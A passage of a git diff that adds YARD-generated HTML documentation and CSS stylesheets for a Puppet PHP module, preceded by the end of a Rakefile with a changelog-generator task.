"spec/acceptance/nodesets/#{beaker_set}.yml" + + puts beaker_set if File.exists? filename + end + end +end + +begin + require 'github_changelog_generator/task' + GitHubChangelogGenerator::RakeTask.new :changelog do |config| + version = (Blacksmith::Modulefile.new).version + config.future_release = "v#{version}" if version =~ /^\d+\.\d+.\d+$/ + config.header = "# Changelog\n\nAll notable changes to this project will be documented in this file.\nEach new release typically also includes the latest modulesync defaults.\nThese should not affect the functionality of the module." + config.exclude_labels = %w{duplicate question invalid wontfix wont-fix modulesync skip-changelog} + config.user = 'voxpupuli' + metadata_json = File.join(File.dirname(__FILE__), 'metadata.json') + metadata = JSON.load(File.read(metadata_json)) + config.project = metadata['name'] + end +rescue LoadError +end +# vim: syntax=ruby diff --git a/modules/utilities/unix/web_frameworks/php/docs/Puppet/Parser/Functions.html b/modules/utilities/unix/web_frameworks/php/docs/Puppet/Parser/Functions.html new file mode 100644 index 000000000..54615e004 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/Puppet/Parser/Functions.html @@ -0,0 +1,105 @@ + + + + + + + Module: Puppet::Parser::Functions + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
+ + +

Module: Puppet::Parser::Functions + + + +

+
+ + + + + + + + + + + +
+
Defined in:
+
lib/puppet/parser/functions/to_hash_settings.rb,
+ lib/puppet/parser/functions/ensure_prefix.rb
+
+
+ +
+ + + + + + + + + + +
+ + + +
+ + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/_index.html b/modules/utilities/unix/web_frameworks/php/docs/_index.html new file mode 100644 index 000000000..0da78276c --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/_index.html @@ -0,0 +1,369 @@ + + + + + + + Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
+ + +

Documentation by YARD 0.9.9

+
+

Alphabetic Index

+ +

Puppet Class Listing A-Z

+ + + + + + +
+ + + + +
+ + +

Defined Type Listing A-Z

+ + + + + + +
+ + + + +
+ + + +

Puppet Provider Listing A-Z

+ + + + + + +
+ + +
    +
  • P
  • +
      + +
    • + pear + + (Resource type: package) + +
    • + +
    • + pecl + + (Resource type: package) + +
    • + +
    +
+ +
+ + +

Puppet Function Listing A-Z

+ + + + + + +
+ + + + + + + +
+ + +

File Listing

+ + +
+ +

Ruby Namespace Listing A-Z

+ + + + + + +
+ + +
    +
  • F
  • +
      + +
    • + Functions + + (Puppet::Parser) + +
    • + +
    +
+ +
+ + +
+ +
+ + + +
+ + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/css/common.css b/modules/utilities/unix/web_frameworks/php/docs/css/common.css new file mode 100644 index 000000000..d28b0936e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/css/common.css @@ -0,0 +1,8 @@ +/* Ensure the search bar doesn't overlap with links */ +.fixed_header { + padding-bottom: 25px; +} + +#full_list { + padding-top: 15px; +} diff --git a/modules/utilities/unix/web_frameworks/php/docs/css/full_list.css b/modules/utilities/unix/web_frameworks/php/docs/css/full_list.css new file mode 100644 index 000000000..fa3598242 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/css/full_list.css @@ -0,0 +1,58 @@ +body { + margin: 0; + font-family: "Lucida Sans", "Lucida Grande", Verdana, Arial, sans-serif; + font-size: 13px; + height: 101%; + overflow-x: hidden; + background: #fafafa; +} + +h1 { padding: 12px 10px; padding-bottom: 0; margin: 0; font-size: 1.4em; } +.clear { clear: both; } +.fixed_header { position: fixed; background: #fff; width: 100%; padding-bottom: 10px; margin-top: 0; top: 0; z-index: 9999; height: 70px; } +#search { position: absolute; right: 5px; top: 9px; padding-left: 24px; } +#content.insearch #search, #content.insearch #noresults { background: url(data:image/gif;base64,R0lGODlhEAAQAPYAAP///wAAAPr6+pKSkoiIiO7u7sjIyNjY2J6engAAAI6OjsbGxjIyMlJSUuzs7KamppSUlPLy8oKCghwcHLKysqSkpJqamvT09Pj4+KioqM7OzkRERAwMDGBgYN7e3ujo6Ly8vCoqKjY2NkZGRtTU1MTExDw8PE5OTj4+PkhISNDQ0MrKylpaWrS0tOrq6nBwcKysrLi4uLq6ul5eXlxcXGJiYoaGhuDg4H5+fvz8/KKiohgYGCwsLFZWVgQEBFBQUMzMzDg4OFhYWBoaGvDw8NbW1pycnOLi4ubm5kBAQKqqqiQkJCAgIK6urnJyckpKSjQ0NGpqatLS0sDAwCYmJnx8fEJCQlRUVAoKCggICLCwsOTk5ExMTPb29ra2tmZmZmhoaNzc3KCgoBISEiIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCAAAACwAAAAAEAAQAAAHaIAAgoMgIiYlg4kACxIaACEJCSiKggYMCRselwkpghGJBJEcFgsjJyoAGBmfggcNEx0flBiKDhQFlIoCCA+5lAORFb4AJIihCRbDxQAFChAXw9HSqb60iREZ1omqrIPdJCTe0SWI09GBACH5BAkIAAAALAAAAAAQABAAAAdrgACCgwc0NTeDiYozCQkvOTo9GTmDKy8aFy+NOBA7CTswgywJDTIuEjYFIY0JNYMtKTEFiRU8Pjwygy4ws4owPyCKwsMAJSTEgiQlgsbIAMrO0dKDGMTViREZ14kYGRGK38nHguHEJcvTyIEAIfkECQgAAAAsAAAAABAAEAAAB2iAAIKDAggPg4iJAAMJCRUAJRIqiRGCBI0WQEEJJkWDERkYAAUKEBc4Po1GiKKJHkJDNEeKig4URLS0ICImJZAkuQAhjSi/wQyNKcGDCyMnk8u5rYrTgqDVghgZlYjcACTA1sslvtHRgQAh+QQJCAAAACwAAAAAEAAQAAAHZ4AAgoOEhYaCJSWHgxGDJCQARAtOUoQRGRiFD0kJUYWZhUhKT1OLhR8wBaaFBzQ1NwAlkIszCQkvsbOHL7Y4q4IuEjaqq0ZQD5+GEEsJTDCMmIUhtgk1lo6QFUwJVDKLiYJNUd6/hoEAIfkECQgAAAAsAAAAABAAEAAAB2iAAIKDhIWGgiUlh4MRgyQkjIURGRiGGBmNhJWHm4uen4ICCA+IkIsDCQkVACWmhwSpFqAABQoQF6ALTkWFnYMrVlhWvIKTlSAiJiVVPqlGhJkhqShHV1lCW4cMqSkAR1ofiwsjJyqGgQAh+QQJCAAAACwAAAAAEAAQAAAHZ4AAgoOEhYaCJSWHgxGDJCSMhREZGIYYGY2ElYebi56fhyWQniSKAKKfpaCLFlAPhl0gXYNGEwkhGYREUywag1wJwSkHNDU3D0kJYIMZQwk8MjPBLx9eXwuETVEyAC/BOKsuEjYFhoEAIfkECQgAAAAsAAAAABAAEAAAB2eAAIKDhIWGgiUlh4MRgyQkjIURGRiGGBmNhJWHm4ueICImip6CIQkJKJ4kigynKaqKCyMnKqSEK05StgAGQRxPYZaENqccFgIID4KXmQBhXFkzDgOnFYLNgltaSAAEpxa7BQoQF4aBACH5BAkIAAAALAAAAAAQABAAAAdogACCg4SFggJiPUqCJSWGgkZjCUwZACQkgxGEXAmdT4UYGZqCGWQ+IjKGGIUwPzGPhAc0NTewhDOdL7Ykji+dOLuOLhI2BbaFETICx4MlQitdqoUsCQ2vhKGjglNfU0SWmILaj43M5oEAOwAAAAAAAAAAAA==) no-repeat center left; } +#full_list { padding: 0; list-style: none; margin-left: 0; margin-top: 80px; font-size: 1.1em; } +#full_list ul { padding: 0; } +#full_list li { padding: 0; margin: 0; list-style: none; } +#full_list li .item { padding: 5px 5px 5px 12px; } +#noresults { padding: 7px 12px; background: #fff; } +#content.insearch #noresults { margin-left: 7px; } +li.collapsed ul { display: none; } +li a.toggle { cursor: default; position: relative; left: -5px; top: 4px; text-indent: -999px; width: 10px; height: 9px; margin-left: -10px; display: block; float: left; background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAK8AAACvABQqw0mAAAABx0RVh0U29mdHdhcmUAQWRvYmUgRmlyZXdvcmtzIENTM5jWRgMAAAAVdEVYdENyZWF0aW9uIFRpbWUAMy8xNC8wOeNZPpQAAAE2SURBVDiNrZTBccIwEEXfelIAHUA6CZ24BGaWO+FuzZAK4k6gg5QAdGAq+Bxs2Yqx7BzyL7Llp/VfzZeQhCTc/ezuGzKKnKSzpCxXJM8fwNXda3df5RZETlIt6YUzSQDs93sl8w3wBZxCCE10GM1OcWbWjB2mWgEH4Mfdyxm3PSepBHibgQE2wLe7r4HjEidpnXMYdQPKEMJcsZ4zs2POYQOcaPfwMVOo58zsAdMt18BuoVDPxUJRacELbXv3hUIX2vYmOUvi8C8ydz/ThjXrqKqqLbDIAdsCKBd+Wo7GWa7o9qzOQHVVVXeAbs+yHHCH4aTsaCOQqunmUy1yBUAXkdMIfMlgF5EXLo2OpV/c/Up7jG4hhHcYLgWzAZXUc2b2ixsfvc/RmNNfOXD3Q/oeL9axJE1yT9IOoUu6MGUkAAAAAElFTkSuQmCC) no-repeat bottom left; } +li.collapsed a.toggle { opacity: 0.5; cursor: default; background-position: top left; } +li { color: #888; cursor: pointer; } +li.deprecated { text-decoration: line-through; font-style: italic; } +li.odd { background: #f0f0f0; } +li.even { background: #fafafa; } +.item:hover { background: #ddd; } +li small:before { content: "("; } +li small:after { content: ")"; } +li small.search_info { display: none; } +a, a:visited { text-decoration: none; color: #05a; } +li.clicked > .item { background: #05a; color: #ccc; } +li.clicked > .item a, li.clicked > .item a:visited { color: #eee; } +li.clicked > .item a.toggle { opacity: 0.5; background-position: bottom right; } +li.collapsed.clicked a.toggle { background-position: top right; } +#search input { border: 1px solid #bbb; border-radius: 3px; } +#full_list_nav { margin-left: 10px; font-size: 0.9em; display: block; color: #aaa; } +#full_list_nav a, #nav a:visited { color: #358; } +#full_list_nav a:hover { background: transparent; color: #5af; } +#full_list_nav span:after { content: ' | '; } +#full_list_nav span:last-child:after { content: ''; } + +#content h1 { margin-top: 0; } +li { white-space: nowrap; cursor: normal; } +li small { display: block; font-size: 0.8em; } +li small:before { content: ""; } +li small:after { content: ""; } +li small.search_info { display: none; } +#search { width: 170px; position: static; margin: 3px; margin-left: 10px; font-size: 0.9em; color: #888; padding-left: 0; padding-right: 24px; } +#content.insearch #search { background-position: center right; } +#search input { width: 110px; } + +#full_list.insearch ul { display: block; } +#full_list.insearch .item { display: none; } +#full_list.insearch .found { display: block; padding-left: 11px !important; } +#full_list.insearch li a.toggle { display: none; } +#full_list.insearch li small.search_info { display: block; } diff --git a/modules/utilities/unix/web_frameworks/php/docs/css/style.css b/modules/utilities/unix/web_frameworks/php/docs/css/style.css new file mode 100644 index 000000000..f682a6919 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/css/style.css @@ -0,0 +1,492 @@ +html { + width: 100%; + height: 100%; +} +body { + font-family: "Lucida Sans", "Lucida Grande", Verdana, Arial, sans-serif; + font-size: 13px; + width: 100%; + margin: 0; + padding: 0; + display: flex; + display: -webkit-flex; + display: -ms-flexbox; +} + +#nav { + position: relative; + width: 100%; + height: 100%; + border: 0; + border-right: 1px dotted #eee; + overflow: auto; +} +.nav_wrap { + margin: 0; + padding: 0; + width: 20%; + height: 100%; + position: relative; + display: flex; + display: -webkit-flex; + display: -ms-flexbox; + flex-shrink: 0; + -webkit-flex-shrink: 0; + -ms-flex: 1 0; +} +#resizer { + position: absolute; + right: -5px; + top: 0; + width: 10px; + height: 100%; + cursor: col-resize; + z-index: 9999; +} +#main { + flex: 5 1; + -webkit-flex: 5 1; + -ms-flex: 5 1; + outline: none; + position: relative; + background: #fff; + padding: 1.2em; + padding-top: 0.2em; +} + +@media (max-width: 920px) { + .nav_wrap { width: 100%; top: 0; right: 0; overflow: visible; position: absolute; } + #resizer { display: none; } + #nav { + z-index: 9999; + background: #fff; + display: none; + position: absolute; + top: 40px; + right: 12px; + width: 500px; + max-width: 80%; + height: 80%; + overflow-y: scroll; + border: 1px solid #999; + border-collapse: collapse; + box-shadow: -7px 5px 25px #aaa; + border-radius: 2px; + } +} + +@media (min-width: 920px) { + body { height: 100%; overflow: hidden; } + #main { height: 100%; overflow: auto; } + #search { display: none; } +} + +#main img { max-width: 100%; } +h1 { font-size: 25px; margin: 1em 0 0.5em; padding-top: 4px; border-top: 1px dotted #d5d5d5; } +h1.noborder { border-top: 0px; margin-top: 0; padding-top: 4px; } +h1.title { margin-bottom: 10px; } +h1.alphaindex { margin-top: 0; font-size: 22px; } +h2 { + padding: 0; + padding-bottom: 3px; + border-bottom: 1px #aaa solid; + font-size: 1.4em; + margin: 1.8em 0 0.5em; + position: relative; +} +h2 small { font-weight: normal; font-size: 0.7em; display: inline; position: absolute; right: 0; } +h2 small a { + display: block; + height: 20px; + border: 1px solid #aaa; + border-bottom: 0; + border-top-left-radius: 5px; + background: #f8f8f8; + position: relative; + padding: 2px 7px; +} +.clear { clear: both; } +.inline { display: inline; } +.inline p:first-child { display: inline; } +.docstring, .tags, #filecontents { font-size: 15px; line-height: 1.5145em; } +.docstring p > code, .docstring p > tt, .tags p > code, .tags p > tt { + color: #c7254e; background: #f9f2f4; padding: 2px 4px; font-size: 1em; + border-radius: 4px; +} +.docstring h1, .docstring h2, .docstring h3, .docstring h4 { padding: 0; border: 0; border-bottom: 1px dotted #bbb; } +.docstring h1 { font-size: 1.2em; } +.docstring h2 { font-size: 1.1em; } +.docstring h3, .docstring h4 { font-size: 1em; border-bottom: 0; padding-top: 10px; } +.summary_desc .object_link a, .docstring .object_link a { + font-family: monospace; font-size: 1.05em; + color: #05a; background: #EDF4FA; padding: 2px 4px; font-size: 1em; + border-radius: 4px; +} +.rdoc-term { padding-right: 25px; font-weight: bold; } +.rdoc-list p { margin: 0; padding: 0; margin-bottom: 4px; } +.summary_desc pre.code .object_link a, .docstring pre.code .object_link a { + padding: 0px; background: inherit; color: inherit; border-radius: inherit; +} + +/* style for */ +#filecontents table, .docstring table { border-collapse: collapse; } +#filecontents table th, #filecontents table td, +.docstring table th, .docstring table td { border: 1px solid #ccc; padding: 8px; padding-right: 17px; } +#filecontents table tr:nth-child(odd), +.docstring table tr:nth-child(odd) { background: #eee; } +#filecontents table tr:nth-child(even), +.docstring table tr:nth-child(even) { background: #fff; } +#filecontents table th, .docstring table th { background: #fff; } + +/* style for
    */ +#filecontents li > p, .docstring li > p { margin: 0px; } +#filecontents ul, .docstring ul { padding-left: 20px; } +/* style for
    */ +#filecontents dl, .docstring dl { border: 1px solid #ccc; } +#filecontents dt, .docstring dt { background: #ddd; font-weight: bold; padding: 3px 5px; } +#filecontents dd, .docstring dd { padding: 5px 0px; margin-left: 18px; } +#filecontents dd > p, .docstring dd > p { margin: 0px; } + +.note { + color: #222; + margin: 20px 0; + padding: 10px; + border: 1px solid #eee; + border-radius: 3px; + display: block; +} +.docstring .note { + border-left-color: #ccc; + border-left-width: 5px; +} +.note.todo { background: #ffffc5; border-color: #ececaa; } +.note.returns_void { background: #efefef; } +.note.deprecated { background: #ffe5e5; border-color: #e9dada; } +.note.title.deprecated { background: #ffe5e5; border-color: #e9dada; } +.note.private { background: #ffffc5; border-color: #ececaa; } +.note.title { padding: 3px 6px; font-size: 0.9em; font-family: "Lucida Sans", "Lucida Grande", Verdana, Arial, sans-serif; display: inline; } +.summary_signature + .note.title { margin-left: 7px; } +h1 .note.title { font-size: 0.5em; font-weight: normal; padding: 3px 5px; position: relative; top: -3px; text-transform: capitalize; } +.note.title { background: #efefef; } +.note.title.constructor { color: #fff; background: #6a98d6; border-color: #6689d6; } +.note.title.writeonly { color: #fff; background: #45a638; border-color: #2da31d; } +.note.title.readonly { color: #fff; background: #6a98d6; border-color: #6689d6; } +.note.title.private { background: #d5d5d5; border-color: #c5c5c5; } +.note.title.not_defined_here { background: transparent; border: none; font-style: italic; } +.discussion .note { margin-top: 6px; } +.discussion .note:first-child { margin-top: 0; } + +h3.inherited { + font-style: italic; + font-family: "Lucida Sans", "Lucida Grande", Verdana, Arial, sans-serif; + font-weight: normal; + padding: 0; + margin: 0; + margin-top: 12px; + margin-bottom: 3px; + font-size: 13px; +} +p.inherited { + padding: 0; + margin: 0; + margin-left: 25px; +} + +.box_info dl { + margin: 0; + border: 0; + width: 100%; + font-size: 1em; + display: flex; + display: -webkit-flex; + display: -ms-flexbox; +} +.box_info dl dt { + flex-shrink: 0; + -webkit-flex-shrink: 1; + -ms-flex-shrink: 1; + width: 100px; + text-align: right; + font-weight: bold; + border: 1px solid #aaa; + border-width: 1px 0px 0px 1px; + padding: 6px 0; + padding-right: 10px; +} +.box_info dl dd { + flex-grow: 1; + -webkit-flex-grow: 1; + -ms-flex: 1; + max-width: 420px; + padding: 6px 0; + padding-right: 20px; + border: 1px solid #aaa; + border-width: 1px 1px 0 0; + overflow: hidden; + position: relative; +} +.box_info dl:last-child > * { + border-bottom: 1px solid #aaa; +} +.box_info dl:nth-child(odd) > * { background: #eee; } +.box_info dl:nth-child(even) > * { background: #fff; } +.box_info dl > * { margin: 0; } + +ul.toplevel { list-style: none; padding-left: 0; font-size: 1.1em; } +.index_inline_list { padding-left: 0; font-size: 1.1em; } + +.index_inline_list li { + list-style: none; + display: inline-block; + padding: 0 12px; + line-height: 30px; + margin-bottom: 5px; +} + +dl.constants { margin-left: 10px; } +dl.constants dt { font-weight: bold; font-size: 1.1em; margin-bottom: 5px; } +dl.constants dd { width: 75%; white-space: pre; font-family: monospace; margin-bottom: 18px; } +dl.constants .docstring .note:first-child { margin-top: 5px; } + +.summary_desc { + margin-left: 32px; + display: block; + font-family: sans-serif; + font-size: 1.1em; + margin-top: 8px; + line-height: 1.5145em; + margin-bottom: 0.8em; +} +.summary_desc tt { font-size: 0.9em; } +dl.constants .note { padding: 2px 6px; padding-right: 12px; margin-top: 6px; } +dl.constants .docstring { margin-left: 32px; font-size: 0.9em; font-weight: normal; } +dl.constants .tags { padding-left: 32px; font-size: 0.9em; line-height: 0.8em; } +dl.constants .discussion *:first-child { margin-top: 0; } +dl.constants .discussion *:last-child { margin-bottom: 0; } + +.method_details { border-top: 1px dotted #ccc; margin-top: 25px; padding-top: 0; } +.method_details.first { border: 0; margin-top: 5px; } +.method_details.first h3.signature { margin-top: 1em; } +p.signature, h3.signature { + font-size: 1.1em; font-weight: normal; font-family: Monaco, Consolas, Courier, monospace; + padding: 6px 10px; margin-top: 1em; + background: #E8F4FF; border: 1px solid #d8d8e5; border-radius: 5px; +} +p.signature tt, +h3.signature tt { font-family: Monaco, Consolas, Courier, monospace; } +p.signature .overload, +h3.signature .overload { display: block; } +p.signature .extras, +h3.signature .extras { font-weight: normal; font-family: sans-serif; color: #444; font-size: 1em; } +p.signature .not_defined_here, +h3.signature .not_defined_here, +p.signature .aliases, +h3.signature .aliases { display: block; font-weight: normal; font-size: 0.9em; font-family: sans-serif; margin-top: 0px; color: #555; } +p.signature .aliases .names, +h3.signature .aliases .names { font-family: Monaco, Consolas, Courier, monospace; font-weight: bold; color: #000; font-size: 1.2em; } + +.tags .tag_title { font-size: 1.05em; margin-bottom: 0; font-weight: bold; } +.tags .tag_title tt { color: initial; padding: initial; background: initial; } +.tags ul { margin-top: 5px; padding-left: 30px; list-style: square; } +.tags ul li { margin-bottom: 3px; } +.tags ul .name { font-family: monospace; font-weight: bold; } +.tags ul .note { padding: 3px 6px; } +.tags { margin-bottom: 12px; } + +.tags .examples .tag_title { margin-bottom: 10px; font-weight: bold; } +.tags .examples .inline p { padding: 0; margin: 0; font-weight: bold; font-size: 1em; } +.tags .examples .inline p:before { content: "â–¸"; font-size: 1em; margin-right: 5px; } + +.tags .overload .overload_item { list-style: none; margin-bottom: 25px; } +.tags .overload .overload_item .signature { + padding: 2px 8px; + background: #F1F8FF; border: 1px solid #d8d8e5; border-radius: 3px; +} +.tags .overload .signature { margin-left: -15px; font-family: monospace; display: block; font-size: 1.1em; } +.tags .overload .docstring { margin-top: 15px; } + +.defines { display: none; } + +#method_missing_details .notice.this { position: relative; top: -8px; color: #888; padding: 0; margin: 0; } + +.showSource { font-size: 0.9em; } +.showSource a, .showSource a:visited { text-decoration: none; color: #666; } + +#content a, #content a:visited { text-decoration: none; color: #05a; } +#content a:hover { background: #ffffa5; } + +ul.summary { + list-style: none; + font-family: monospace; + font-size: 1em; + line-height: 1.5em; + padding-left: 0px; +} +ul.summary a, ul.summary a:visited { + text-decoration: none; font-size: 1.1em; +} +ul.summary li { margin-bottom: 5px; } +.summary .summary_signature { + padding: 4px 8px; + background: #f8f8f8; + border: 1px solid #f0f0f0; + border-radius: 5px; +} +.summary_signature:hover { background: #CFEBFF; border-color: #A4CCDA; cursor: pointer; } +ul.summary.compact li { display: inline-block; margin: 0px 5px 0px 0px; line-height: 2.6em;} +ul.summary.compact .summary_signature { padding: 5px 7px; padding-right: 4px; } +#content .summary_signature:hover a, +#content .summary_signature:hover a:visited { + background: transparent; + color: #049; +} + +p.inherited a { font-family: monospace; font-size: 0.9em; } +p.inherited { word-spacing: 5px; font-size: 1.2em; } + +p.children { font-size: 1.2em; } +p.children a { font-size: 0.9em; } +p.children strong { font-size: 0.8em; } +p.children strong.modules { padding-left: 5px; } + +ul.fullTree { display: none; padding-left: 0; list-style: none; margin-left: 0; margin-bottom: 10px; } +ul.fullTree ul { margin-left: 0; padding-left: 0; list-style: none; } +ul.fullTree li { text-align: center; padding-top: 18px; padding-bottom: 12px; background: url(data:image/gif;base64,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) no-repeat top center; } +ul.fullTree li:first-child { padding-top: 0; background: transparent; } +ul.fullTree li:last-child { padding-bottom: 0; } +.showAll ul.fullTree { display: block; } +.showAll .inheritName { display: none; } + +#search { position: absolute; right: 12px; top: 0px; z-index: 9000; } +#search a { + display: block; float: left; + padding: 4px 8px; text-decoration: none; color: #05a; fill: #05a; + border: 1px solid #d8d8e5; + border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; + background: #F1F8FF; + box-shadow: -1px 1px 3px #ddd; +} +#search a:hover { background: #f5faff; color: #06b; fill: #06b; } +#search a.active { + background: #568; padding-bottom: 20px; color: #fff; fill: #fff; + border: 1px solid #457; + border-top-left-radius: 5px; border-top-right-radius: 5px; +} +#search a.inactive { color: #999; fill: #999; } +.inheritanceTree, .toggleDefines { + float: right; + border-left: 1px solid #aaa; + position: absolute; top: 0; right: 0; + height: 100%; + background: #f6f6f6; + padding: 5px; + min-width: 